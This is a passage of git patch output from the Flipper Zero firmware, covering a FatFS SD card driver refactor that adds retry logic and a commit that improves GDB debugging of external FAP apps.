FS_Error ret = storage_get_data(app, path, &storage); do { - if(storage_path_already_open(path, storage->files)) { + if(storage_path_already_open(path, storage)) { ret = FSE_ALREADY_OPEN; break; } diff --git a/applications/services/storage/storages/storage_ext.c b/applications/services/storage/storages/storage_ext.c index 530c88f85..d802d6e9f 100644 --- a/applications/services/storage/storages/storage_ext.c +++ b/applications/services/storage/storages/storage_ext.c @@ -618,8 +618,10 @@ static const FS_Api fs_api = { }; void storage_ext_init(StorageData* storage) { + fatfs_init(); + SDData* sd_data = malloc(sizeof(SDData)); - sd_data->fs = &USERFatFS; + sd_data->fs = &fatfs_object; sd_data->path = "0:/"; sd_data->sd_was_present = true; diff --git a/firmware/targets/f18/furi_hal/furi_hal.c b/firmware/targets/f18/furi_hal/furi_hal.c index 0a68fdb69..2c255fa0d 100644 --- a/firmware/targets/f18/furi_hal/furi_hal.c +++ b/firmware/targets/f18/furi_hal/furi_hal.c @@ -3,8 +3,6 @@ #include -#include - #define TAG "FuriHal" void furi_hal_init_early() { @@ -74,10 +72,6 @@ void furi_hal_init() { #endif furi_hal_bt_init(); furi_hal_compress_icon_init(); - - // FatFS driver initialization - MX_FATFS_Init(); - FURI_LOG_I(TAG, "FATFS OK"); } void furi_hal_switch(void* address) { diff --git a/firmware/targets/f7/fatfs/fatfs.c b/firmware/targets/f7/fatfs/fatfs.c index 1aa5fe44b..2c0e77fec 100644 --- a/firmware/targets/f7/fatfs/fatfs.c +++ b/firmware/targets/f7/fatfs/fatfs.c @@ -1,39 +1,12 @@ -/** - ****************************************************************************** - * @file fatfs.c - * @brief Code for fatfs applications - ****************************************************************************** - * @attention - * - *

    © Copyright (c) 2020 STMicroelectronics. - * All rights reserved.

    - * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ - #include "fatfs.h" -uint8_t retUSER; /* Return value for USER */ -char USERPath[4]; /* USER logical drive path */ -FATFS USERFatFS; /* File system object for USER logical drive */ -FIL USERFile; /* File object for USER */ +/** logical drive path */ +char fatfs_path[4]; +/** File system object */ +FATFS fatfs_object; -/* USER CODE BEGIN Variables */ - -/* USER CODE END Variables */ - -void MX_FATFS_Init(void) { - /*## FatFS: Link the USER driver ###########################*/ - retUSER = FATFS_LinkDriver(&USER_Driver, USERPath); - - /* USER CODE BEGIN Init */ - /* additional user code for init */ - /* USER CODE END Init */ +void fatfs_init(void) { + FATFS_LinkDriver(&sd_fatfs_driver, fatfs_path); } /** @@ -42,13 +15,5 @@ void MX_FATFS_Init(void) { * @retval Time in DWORD */ DWORD get_fattime(void) { - /* USER CODE BEGIN get_fattime */ return 0; - /* USER CODE END get_fattime */ } - -/* USER CODE BEGIN Application */ - -/* USER CODE END Application */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/fatfs/fatfs.h b/firmware/targets/f7/fatfs/fatfs.h index a0775d88b..8376bf6cc 100644 --- a/firmware/targets/f7/fatfs/fatfs.h +++ b/firmware/targets/f7/fatfs/fatfs.h @@ -1,49 +1,19 @@ -/** - ****************************************************************************** - * @file fatfs.h - * @brief Header for fatfs applications - ****************************************************************************** - * @attention - * - *

    © Copyright (c) 2020 STMicroelectronics. - * All rights reserved.

    - * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ +#pragma once + +#include "fatfs/ff.h" +#include "fatfs/ff_gen_drv.h" +#include "user_diskio.h" -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef __fatfs_H -#define __fatfs_H #ifdef __cplusplus extern "C" { #endif -#include "fatfs/ff.h" -#include "fatfs/ff_gen_drv.h" -#include "user_diskio.h" /* defines USER_Driver as external */ +/** File system object */ +extern FATFS fatfs_object; -/* USER CODE BEGIN Includes */ +/** Init file system driver */ +void fatfs_init(void); -/* USER CODE END Includes */ - -extern uint8_t retUSER; /* Return value for USER */ -extern char USERPath[4]; /* USER logical drive path */ -extern FATFS USERFatFS; /* File system object for USER logical drive */ -extern FIL USERFile; /* File object for USER */ - -void MX_FATFS_Init(void); - -/* USER CODE BEGIN Prototypes */ - -/* USER CODE END Prototypes */ #ifdef __cplusplus } -#endif -#endif /*__fatfs_H */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +#endif \ No newline at end of file diff --git a/firmware/targets/f7/fatfs/ffconf.h b/firmware/targets/f7/fatfs/ffconf.h index 9410cedc8..a44521550 100644 --- a/firmware/targets/f7/fatfs/ffconf.h +++ b/firmware/targets/f7/fatfs/ffconf.h @@ -164,7 +164,7 @@ /* USER CODE BEGIN Volumes */ #define _STR_VOLUME_ID 0 /* 0:Use only 0-9 for drive ID, 1:Use strings for drive ID */ -#define _VOLUME_STRS "RAM", "NAND", "CF", "SD1", "SD2", "USB1", "USB2", "USB3" +#define _VOLUME_STRS "SD" /* _STR_VOLUME_ID switches string support of volume ID. / When _STR_VOLUME_ID is set to 1, also pre-defined strings can be used as drive / number in the path name. _VOLUME_STRS defines the drive ID strings for each diff --git a/firmware/targets/f7/fatfs/syscall.c b/firmware/targets/f7/fatfs/syscall.c deleted file mode 100644 index 00eb8aede..000000000 --- a/firmware/targets/f7/fatfs/syscall.c +++ /dev/null @@ -1,116 +0,0 @@ -/*------------------------------------------------------------------------*/ -/* Sample code of OS dependent controls for FatFs */ -/* (C)ChaN, 2014 */ -/* Portions COPYRIGHT 2017 STMicroelectronics */ -/* Portions Copyright (C) 2014, ChaN, all right reserved */ -/*------------------------------------------------------------------------*/ - -/** - ****************************************************************************** - * @attention - * - * Copyright (c) 2017 STMicroelectronics. All rights reserved. - * - * This software component is licensed by ST under BSD 3-Clause license, - * the "License"; You may not use this file except in compliance with the - * License. You may obtain a copy of the License at: - * opensource.org/licenses/BSD-3-Clause - * - ****************************************************************************** -**/ - -#include "fatfs/ff.h" - -#if _FS_REENTRANT -/*------------------------------------------------------------------------*/ -/* Create a Synchronization Object */ -/*------------------------------------------------------------------------*/ -/* This function is called in f_mount() function to create a new -/ synchronization object, such as semaphore and mutex. When a 0 is returned, -/ the f_mount() function fails with FR_INT_ERR. -*/ - -int ff_cre_syncobj(/* 1:Function succeeded, 0:Could not create the sync object */ - BYTE vol, /* Corresponding volume (logical drive number) */ - _SYNC_t* sobj /* Pointer to return the created sync object */ -) { - int ret; - - //osSemaphoreDef(SEM); - //*sobj = osSemaphoreCreate(osSemaphore(SEM), 1); - *sobj = furi_mutex_alloc(FuriMutexTypeNormal); - ret = (*sobj != NULL); - - return ret; -} - -/*------------------------------------------------------------------------*/ -/* Delete a Synchronization Object */ -/*------------------------------------------------------------------------*/ -/* This function is called in f_mount() function to delete a synchronization -/ object that created with ff_cre_syncobj() function. When a 0 is returned, -/ the f_mount() function fails with FR_INT_ERR. -*/ - -int ff_del_syncobj(/* 1:Function succeeded, 0:Could not delete due to any error */ - _SYNC_t sobj /* Sync object tied to the logical drive to be deleted */ -) { - furi_mutex_free(sobj); - return 1; -} - -/*------------------------------------------------------------------------*/ -/* Request Grant to Access the Volume */ -/*------------------------------------------------------------------------*/ -/* This function is called on entering file functions to lock the volume. -/ When a 0 is returned, the file function fails with FR_TIMEOUT. -*/ - -int ff_req_grant(/* 1:Got a grant to access the volume, 0:Could not get a grant */ - _SYNC_t sobj /* Sync object to wait */ -) { - int ret = 0; - - if(furi_mutex_acquire(sobj, _FS_TIMEOUT) == FuriStatusOk) { - ret = 1; - } - - return ret; -} - -/*------------------------------------------------------------------------*/ -/* Release Grant to Access the Volume */ -/*------------------------------------------------------------------------*/ -/* This function is called on leaving file functions to unlock the volume. -*/ - -void ff_rel_grant(_SYNC_t sobj /* Sync object to be signaled */ -) { - furi_mutex_release(sobj); -} - -#endif - -#if _USE_LFN == 3 /* LFN with a working buffer on the heap */ -/*------------------------------------------------------------------------*/ -/* Allocate a memory block */ -/*------------------------------------------------------------------------*/ -/* If a NULL is returned, the file function fails with FR_NOT_ENOUGH_CORE. -*/ - -void* ff_memalloc(/* Returns pointer to the allocated memory block */ - UINT msize /* Number of bytes to allocate */ -) { - return ff_malloc(msize); /* Allocate a new memory block with POSIX API */ -} - -/*------------------------------------------------------------------------*/ -/* Free a memory block */ -/*------------------------------------------------------------------------*/ - -void ff_memfree(void* mblock /* Pointer to the memory block to free */ -) { - ff_free(mblock); /* Discard the memory block with POSIX API */ -} - -#endif diff --git a/firmware/targets/f7/fatfs/user_diskio.c b/firmware/targets/f7/fatfs/user_diskio.c index d7be09c53..74bf26f65 100644 --- a/firmware/targets/f7/fatfs/user_diskio.c +++ b/firmware/targets/f7/fatfs/user_diskio.c @@ -1,50 +1,10 @@ -/* USER CODE BEGIN Header */ -/** - ****************************************************************************** - * @file user_diskio.c - * @brief This file includes a diskio driver skeleton to be completed by the user. - ****************************************************************************** - * @attention - * - *

    © Copyright (c) 2020 STMicroelectronics. - * All rights reserved.

    - * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ -/* USER CODE END Header */ - -#ifdef USE_OBSOLETE_USER_CODE_SECTION_0 -/* - * Warning: the user section 0 is no more in use (starting from CubeMx version 4.16.0) - * To be suppressed in the future. - * Kept to ensure backward compatibility with previous CubeMx versions when - * migrating projects. - * User code previously added there should be copied in the new user sections before - * the section contents can be deleted. - */ -/* USER CODE BEGIN 0 */ -/* USER CODE END 0 */ -#endif - -/* USER CODE BEGIN DECL */ - -/* Includes ------------------------------------------------------------------*/ #include "user_diskio.h" #include #include "sector_cache.h" -/* Private typedef -----------------------------------------------------------*/ -/* Private define ------------------------------------------------------------*/ -/* Private variables ---------------------------------------------------------*/ -/* Disk status */ static volatile DSTATUS Stat = STA_NOINIT; -static DSTATUS User_CheckStatus(BYTE lun) { +static DSTATUS driver_check_status(BYTE lun) { UNUSED(lun); Stat = STA_NOINIT; if(sd_get_card_state() == SdSpiStatusOK) { @@ -54,32 +14,20 @@ static DSTATUS User_CheckStatus(BYTE lun) { return Stat; } -/* USER CODE END DECL */ +static DSTATUS driver_initialize(BYTE pdrv); +static DSTATUS driver_status(BYTE pdrv); +static DRESULT driver_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count); +static DRESULT driver_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count); +static DRESULT driver_ioctl(BYTE pdrv, BYTE cmd, void* buff); -/* Private function prototypes -----------------------------------------------*/ -DSTATUS USER_initialize(BYTE pdrv); -DSTATUS USER_status(BYTE pdrv); -DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count); -#if _USE_WRITE == 1 -DRESULT USER_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count); -#endif /* _USE_WRITE == 1 */ -#if _USE_IOCTL == 1 -DRESULT USER_ioctl(BYTE pdrv, BYTE cmd, void* buff); -#endif /* _USE_IOCTL == 1 */ - -Diskio_drvTypeDef USER_Driver = { - USER_initialize, - USER_status, - USER_read, -#if _USE_WRITE - USER_write, -#endif /* _USE_WRITE == 1 */ -#if _USE_IOCTL == 1 - USER_ioctl, -#endif /* _USE_IOCTL == 1 */ +Diskio_drvTypeDef sd_fatfs_driver = { + driver_initialize, + driver_status, + driver_read, + driver_write, + driver_ioctl, }; -/* Private functions ---------------------------------------------------------*/ static inline bool sd_cache_get(uint32_t address, uint32_t* data) { uint8_t* cached_data = sector_cache_get(address); if(cached_data) { @@ -101,24 +49,73 @@ static inline void sd_cache_invalidate_all() { sector_cache_init(); } +static bool sd_device_read(uint32_t* buff, uint32_t sector, uint32_t count) { + bool result = false; + + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); + furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + + if(sd_read_blocks(buff, sector, count, SD_TIMEOUT_MS) == SdSpiStatusOK) { + FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + + /* wait until the read operation is finished */ + result = true; + while(sd_get_card_state() != SdSpiStatusOK) { + if(furi_hal_cortex_timer_is_expired(timer)) { + result = false; + break; + } + } + } + + furi_hal_sd_spi_handle = NULL; + furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); + + return result; +} + +static bool sd_device_write(uint32_t* buff, uint32_t sector, uint32_t count) { + bool result = false; + + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); + furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + + if(sd_write_blocks(buff, sector, count, SD_TIMEOUT_MS) == SdSpiStatusOK) { + FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + + /* wait until the Write operation is finished */ + result = true; + while(sd_get_card_state() != SdSpiStatusOK) { + if(furi_hal_cortex_timer_is_expired(timer)) { + sd_cache_invalidate_all(); + + result = false; + break; + } + } + } + + furi_hal_sd_spi_handle = NULL; + furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); + + return result; +} + /** * @brief Initializes a Drive * @param pdrv: Physical drive number (0..) * @retval DSTATUS: Operation status */ -DSTATUS USER_initialize(BYTE pdrv) { - /* USER CODE BEGIN INIT */ - +static DSTATUS driver_initialize(BYTE pdrv) { furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; - DSTATUS status = User_CheckStatus(pdrv); + DSTATUS status = driver_check_status(pdrv); furi_hal_sd_spi_handle = NULL; furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); return status; - /* USER CODE END INIT */ } /** @@ -126,11 +123,9 @@ DSTATUS USER_initialize(BYTE pdrv) { * @param pdrv: Physical drive number (0..) * @retval DSTATUS: Operation status */ -DSTATUS USER_status(BYTE pdrv) { - /* USER CODE BEGIN STATUS */ +static DSTATUS driver_status(BYTE pdrv) { UNUSED(pdrv); return Stat; - /* USER CODE END STATUS */ } /** @@ -141,11 +136,10 @@ DSTATUS USER_status(BYTE pdrv) { * @param count: Number of sectors to read (1..128) * @retval DRESULT: Operation result */ -DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { - /* USER CODE BEGIN READ */ +static DRESULT driver_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { UNUSED(pdrv); - DRESULT res = RES_ERROR; + bool result; bool single_sector = count == 1; if(single_sector) { @@ -154,32 +148,33 @@ DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { } } - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); - furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + result = sd_device_read((uint32_t*)buff, (uint32_t)(sector), count); - if(sd_read_blocks((uint32_t*)buff, (uint32_t)(sector), count, SD_TIMEOUT_MS) == - SdSpiStatusOK) { - FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + if(!result) { + uint8_t counter = sd_max_mount_retry_count(); - /* wait until the read operation is finished */ - res = RES_OK; - while(sd_get_card_state() != SdSpiStatusOK) { - if(furi_hal_cortex_timer_is_expired(timer)) { - res = RES_ERROR; - break; + while(result == false && counter > 0 && hal_sd_detect()) { + SdSpiStatus status; + + if((counter % 2) == 0) { + // power reset sd card + status = sd_init(true); + } else { + status = sd_init(false); } + + if(status == SdSpiStatusOK) { + result = sd_device_read((uint32_t*)buff, (uint32_t)(sector), count); + } + counter--; } } - furi_hal_sd_spi_handle = NULL; - furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); - - if(single_sector && res == RES_OK) { + if(single_sector && result == true) { sd_cache_put(sector, (uint32_t*)buff); } - return res; - /* USER CODE END READ */ + return result ? RES_OK : RES_ERROR; } /** @@ -190,41 +185,36 @@ DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { * @param count: Number of sectors to write (1..128) * @retval DRESULT: Operation result */ -#if _USE_WRITE == 1 -DRESULT USER_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count) { - /* USER CODE BEGIN WRITE */ - /* USER CODE HERE */ +static DRESULT driver_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count) { UNUSED(pdrv); - DRESULT res = RES_ERROR; + bool result; sd_cache_invalidate_range(sector, sector + count); - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); - furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + result = sd_device_write((uint32_t*)buff, (uint32_t)(sector), count); - if(sd_write_blocks((uint32_t*)buff, (uint32_t)(sector), count, SD_TIMEOUT_MS) == - SdSpiStatusOK) { - FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + if(!result) { + uint8_t counter = sd_max_mount_retry_count(); - /* wait until the Write operation is finished */ - res = RES_OK; - while(sd_get_card_state() != SdSpiStatusOK) { - if(furi_hal_cortex_timer_is_expired(timer)) { - sd_cache_invalidate_all(); + while(result == false && counter > 0 && hal_sd_detect()) { + SdSpiStatus status; - res = RES_ERROR; - break; + if((counter % 2) == 0) { + // power reset sd card + status = sd_init(true); + } else { + status = sd_init(false); } + + if(status == SdSpiStatusOK) { + result = sd_device_write((uint32_t*)buff, (uint32_t)(sector), count); + } + counter--; } } - furi_hal_sd_spi_handle = NULL; - furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); - - return res; - /* USER CODE END WRITE */ + return result ? RES_OK : RES_ERROR; } -#endif /* _USE_WRITE == 1 */ /** * @brief I/O control operation @@ -233,9 +223,7 @@ DRESULT USER_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count) { * @param *buff: Buffer to send/receive control data * @retval DRESULT: Operation result */ -#if _USE_IOCTL == 1 -DRESULT USER_ioctl(BYTE pdrv, BYTE cmd, void* buff) { - /* USER CODE BEGIN IOCTL */ +static DRESULT driver_ioctl(BYTE pdrv, BYTE cmd, void* buff) { UNUSED(pdrv); DRESULT res = RES_ERROR; SD_CardInfo CardInfo; @@ -280,8 +268,4 @@ DRESULT USER_ioctl(BYTE pdrv, BYTE cmd, void* buff) { furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); return res; - /* USER CODE END IOCTL */ } -#endif /* _USE_IOCTL == 1 */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/fatfs/user_diskio.h b/firmware/targets/f7/fatfs/user_diskio.h index 12e0f27dc..7b3f2bb9e 100644 --- a/firmware/targets/f7/fatfs/user_diskio.h +++ b/firmware/targets/f7/fatfs/user_diskio.h @@ -1,48 +1,14 @@ -/* USER CODE BEGIN Header */ -/** - ****************************************************************************** - * @file user_diskio.h - * @brief This file contains the common defines and functions prototypes for - * the user_diskio driver. - ****************************************************************************** - * @attention - * - *

    © Copyright (c) 2020 STMicroelectronics. - * All rights reserved.

    - * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ -/* USER CODE END Header */ - -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef __USER_DISKIO_H -#define __USER_DISKIO_H +#pragma once #ifdef __cplusplus extern "C" { #endif -/* USER CODE BEGIN 0 */ - -/* Includes ------------------------------------------------------------------*/ #include "sd_spi_io.h" #include "fatfs/ff_gen_drv.h" -/* Exported types ------------------------------------------------------------*/ -/* Exported constants --------------------------------------------------------*/ -/* Exported functions ------------------------------------------------------- */ -extern Diskio_drvTypeDef USER_Driver; -/* USER CODE END 0 */ +extern Diskio_drvTypeDef sd_fatfs_driver; #ifdef __cplusplus } -#endif - -#endif /* __USER_DISKIO_H */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +#endif \ No newline at end of file diff --git a/firmware/targets/f7/furi_hal/furi_hal.c b/firmware/targets/f7/furi_hal/furi_hal.c index afe46c4ed..5840a697e 100644 --- a/firmware/targets/f7/furi_hal/furi_hal.c +++ b/firmware/targets/f7/furi_hal/furi_hal.c @@ -4,8 +4,6 @@ #include -#include - #define TAG "FuriHal" void furi_hal_init_early() { @@ -81,10 +79,6 @@ void furi_hal_init() { furi_hal_nfc_init(); furi_hal_rfid_init(); #endif - - // FatFS driver initialization - MX_FATFS_Init(); - FURI_LOG_I(TAG, "FATFS OK"); } void furi_hal_switch(void* address) { diff --git a/firmware/targets/f7/src/update.c b/firmware/targets/f7/src/update.c index d8d26eb7c..c1e1084c2 100644 --- a/firmware/targets/f7/src/update.c +++ b/firmware/targets/f7/src/update.c @@ -44,7 +44,7 @@ static bool flipper_update_init() { furi_hal_spi_config_init(); - MX_FATFS_Init(); + fatfs_init(); if(!hal_sd_detect()) { return false; } From 60ac2e98810fa9638f9955ea7fa6a553d1cedaa9 Mon Sep 17 00:00:00 2001 From: hedger Date: Mon, 20 Mar 2023 19:03:55 +0400 Subject: [PATCH 184/329] [FL-3161] Improved debugging experience for external apps (#2507) * debug: automated support for multiple debug symbol files * faploader: extra checks for app list state * debug: trigger BP before fap's EP if under debugger * faploader, debug: better naming * docs: info on load breakpoint * faploader: header cleanup * faploader: naming fixes * debug: less verbose; setting debug flag more often * typo fix --- applications/main/fap_loader/fap_loader_app.c | 19 ++- debug/flipperapps.py | 113 +++++++++++------- documentation/AppsOnSDCard.md | 2 + lib/flipper_application/elf/elf_file.c | 5 +- lib/flipper_application/flipper_application.c | 47 ++++++-- 5 files changed, 127 insertions(+), 59 deletions(-) diff --git a/applications/main/fap_loader/fap_loader_app.c b/applications/main/fap_loader/fap_loader_app.c index dcbad8e13..f5c7af024 100644 --- a/applications/main/fap_loader/fap_loader_app.c +++ b/applications/main/fap_loader/fap_loader_app.c @@ -1,16 +1,17 @@ +#include "fap_loader_app.h" + #include -#include + #include +#include #include -#include #include #include #include #include #include -#include "fap_loader_app.h" -#define TAG "fap_loader_app" +#define TAG "FapLoader" struct FapLoader { FlipperApplication* app; @@ -22,6 +23,8 @@ struct FapLoader { Loading* loading; }; +volatile bool fap_loader_debug_active = false; + bool fap_loader_load_name_and_icon( FuriString* path, Storage* storage, @@ -107,6 +110,14 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { FuriThread* thread = flipper_application_spawn(loader->app, NULL); + /* This flag is set by the debugger - to break on app start */ + if(fap_loader_debug_active) { + FURI_LOG_W(TAG, "Triggering BP for debugger"); + /* After hitting this, you can set breakpoints in your .fap's code + * Note that you have to toggle breakpoints that were set before */ + __asm volatile("bkpt 0"); + } + FuriString* app_name = furi_string_alloc(); path_extract_filename_no_ext(furi_string_get_cstr(loader->fap_path), app_name); furi_thread_set_appid(thread, furi_string_get_cstr(app_name)); diff --git a/debug/flipperapps.py b/debug/flipperapps.py index e815e40b1..1dc5ebd04 100644 --- a/debug/flipperapps.py +++ b/debug/flipperapps.py @@ -2,7 +2,6 @@ from dataclasses import dataclass from typing import Optional, Tuple, Dict, ClassVar import struct import posixpath -import os import zlib import gdb @@ -66,9 +65,9 @@ class AppState: def get_gdb_unload_command(self) -> str: return f"remove-symbol-file -a 0x{self.text_address:08x}" - def is_loaded_in_gdb(self, gdb_app) -> bool: - # Avoid constructing full app wrapper for comparison - return self.entry_address == int(gdb_app["state"]["entry"]) + @staticmethod + def get_gdb_app_ep(app) -> int: + return int(app["state"]["entry"]) @staticmethod def parse_debug_link_data(section_data: bytes) -> Tuple[str, int]: @@ -79,10 +78,10 @@ class AppState: crc32 = struct.unpack(" "AppState": + @classmethod + def from_gdb(cls, gdb_app: "AppState") -> "AppState": state = AppState(str(gdb_app["manifest"]["name"].string())) - state.entry_address = int(gdb_app["state"]["entry"]) + state.entry_address = cls.get_gdb_app_ep(gdb_app) app_state = gdb_app["state"] if debug_link_size := int(app_state["debug_link_info"]["debug_link_size"]): @@ -123,59 +122,83 @@ class SetFapDebugElfRoot(gdb.Command): try: global helper print(f"Set '{arg}' as debug info lookup path for Flipper external apps") - helper.attach_fw() + helper.attach_to_fw() gdb.events.stop.connect(helper.handle_stop) + gdb.events.exited.connect(helper.handle_exit) except gdb.error as e: print(f"Support for Flipper external apps debug is not available: {e}") -SetFapDebugElfRoot() - - -class FlipperAppDebugHelper: +class FlipperAppStateHelper: def __init__(self): - self.app_ptr = None self.app_type_ptr = None - self.current_app: AppState = None + self.app_list_ptr = None + self.app_list_entry_type = None + self._current_apps: list[AppState] = [] - def attach_fw(self) -> None: - self.app_ptr = gdb.lookup_global_symbol("last_loaded_app") - self.app_type_ptr = gdb.lookup_type("FlipperApplication").pointer() - self._check_app_state() + def _walk_app_list(self, list_head): + while list_head: + if app := list_head["data"]: + yield app.dereference() + list_head = list_head["next"] - def _check_app_state(self) -> None: - app_ptr_value = self.app_ptr.value() - if not app_ptr_value and self.current_app: - # There is an ELF loaded in GDB, but nothing is running on the device - self._unload_debug_elf() - elif app_ptr_value: - # There is an app running on the device - loaded_app = app_ptr_value.cast(self.app_type_ptr).dereference() - - if self.current_app and not self.current_app.is_loaded_in_gdb(loaded_app): - # Currently loaded ELF is not the one running on the device - self._unload_debug_elf() - - if not self.current_app: - # Load ELF for the app running on the device - self._load_debug_elf(loaded_app) - - def _unload_debug_elf(self) -> None: + def _exec_gdb_command(self, command: str) -> bool: try: - gdb.execute(self.current_app.get_gdb_unload_command()) + gdb.execute(command) + return True except gdb.error as e: - print(f"Failed to unload debug ELF: {e} (might not be an error)") - self.current_app = None + print(f"Failed to execute GDB command '{command}': {e}") + return False - def _load_debug_elf(self, app_object) -> None: - self.current_app = AppState.from_gdb(app_object) + def _sync_apps(self) -> None: + self.set_debug_mode(True) + if not (app_list := self.app_list_ptr.value()): + print("Reset app loader state") + for app in self._current_apps: + self._exec_gdb_command(app.get_gdb_unload_command()) + self._current_apps = [] + return - if self.current_app.is_debug_available(): - gdb.execute(self.current_app.get_gdb_load_command()) + loaded_apps: dict[int, gdb.Value] = dict( + (AppState.get_gdb_app_ep(app), app) + for app in self._walk_app_list(app_list[0]) + ) + + for app in self._current_apps.copy(): + if app.entry_address not in loaded_apps: + print(f"Application {app.name} is no longer loaded") + if not self._exec_gdb_command(app.get_gdb_unload_command()): + print(f"Failed to unload debug info for {app.name}") + self._current_apps.remove(app) + + for entry_point, app in loaded_apps.items(): + if entry_point not in set(app.entry_address for app in self._current_apps): + new_app_state = AppState.from_gdb(app) + print(f"New application loaded. Adding debug info") + if self._exec_gdb_command(new_app_state.get_gdb_load_command()): + self._current_apps.append(new_app_state) + else: + print(f"Failed to load debug info for {new_app_state}") + + def attach_to_fw(self) -> None: + print("Attaching to Flipper firmware") + self.app_list_ptr = gdb.lookup_global_symbol( + "flipper_application_loaded_app_list" + ) + self.app_type_ptr = gdb.lookup_type("FlipperApplication").pointer() + self.app_list_entry_type = gdb.lookup_type("struct FlipperApplicationList_s") def handle_stop(self, event) -> None: - self._check_app_state() + self._sync_apps() + + def handle_exit(self, event) -> None: + self.set_debug_mode(False) + + def set_debug_mode(self, mode: bool) -> None: + gdb.execute(f"set variable fap_loader_debug_active = {int(mode)}") -helper = FlipperAppDebugHelper() +# Init additional 'fap-set-debug-elf-root' command and set up hooks +SetFapDebugElfRoot() +helper = FlipperAppStateHelper() print("Support for Flipper external apps debug is loaded") diff --git a/documentation/AppsOnSDCard.md b/documentation/AppsOnSDCard.md index 9ab7e9b26..754305706 100644 --- a/documentation/AppsOnSDCard.md +++ b/documentation/AppsOnSDCard.md @@ -32,6 +32,8 @@ Images and animated icons should follow the same [naming convention](../assets/R With it, you can debug FAPs as if they were a part of the main firmware — inspect variables, set breakpoints, step through the code, etc. +If debugging session is active, firmware will trigger a breakpoint after loading a FAP it into memory, but before running any code from it. This allows you to set breakpoints in the FAP's code. Note that any breakpoints set before the FAP is loaded may need re-setting after the FAP is actually loaded, since before loading it debugger cannot know the exact address of the FAP's code. + ### Setting up debugging environment The debugging support script looks up debugging information in the latest firmware build directory (`build/latest`). That directory is symlinked by `fbt` to the latest firmware configuration (Debug or Release) build directory when you run `./fbt` for the chosen configuration. See [fbt docs](./fbt.md#nb) for details. diff --git a/lib/flipper_application/elf/elf_file.c b/lib/flipper_application/elf/elf_file.c index 146afccb5..0338144a9 100644 --- a/lib/flipper_application/elf/elf_file.c +++ b/lib/flipper_application/elf/elf_file.c @@ -830,8 +830,9 @@ void elf_file_init_debug_info(ELFFile* elf, ELFDebugInfo* debug_info) { const void* data_ptr = itref->value.data; if(data_ptr) { - debug_info->mmap_entries[mmap_entry_idx].address = (uint32_t)data_ptr; - debug_info->mmap_entries[mmap_entry_idx].name = itref->key; + ELFMemoryMapEntry* entry = &debug_info->mmap_entries[mmap_entry_idx]; + entry->address = (uint32_t)data_ptr; + entry->name = itref->key; mmap_entry_idx++; } } diff --git a/lib/flipper_application/flipper_application.c b/lib/flipper_application/flipper_application.c index ca917cf1a..1b4f56814 100644 --- a/lib/flipper_application/flipper_application.c +++ b/lib/flipper_application/flipper_application.c @@ -3,7 +3,9 @@ #include #include "application_assets.h" -#define TAG "fapp" +#include + +#define TAG "Fap" struct FlipperApplication { ELFDebugInfo state; @@ -13,8 +15,39 @@ struct FlipperApplication { void* ep_thread_args; }; -/* For debugger access to app state */ -FlipperApplication* last_loaded_app = NULL; +/********************** Debugger access to loader state **********************/ + +LIST_DEF(FlipperApplicationList, const FlipperApplication*, M_POD_OPLIST); + +FlipperApplicationList_t flipper_application_loaded_app_list = {0}; +static bool flipper_application_loaded_app_list_initialized = false; + +static void flipper_application_list_add_app(const FlipperApplication* app) { + furi_assert(app); + + 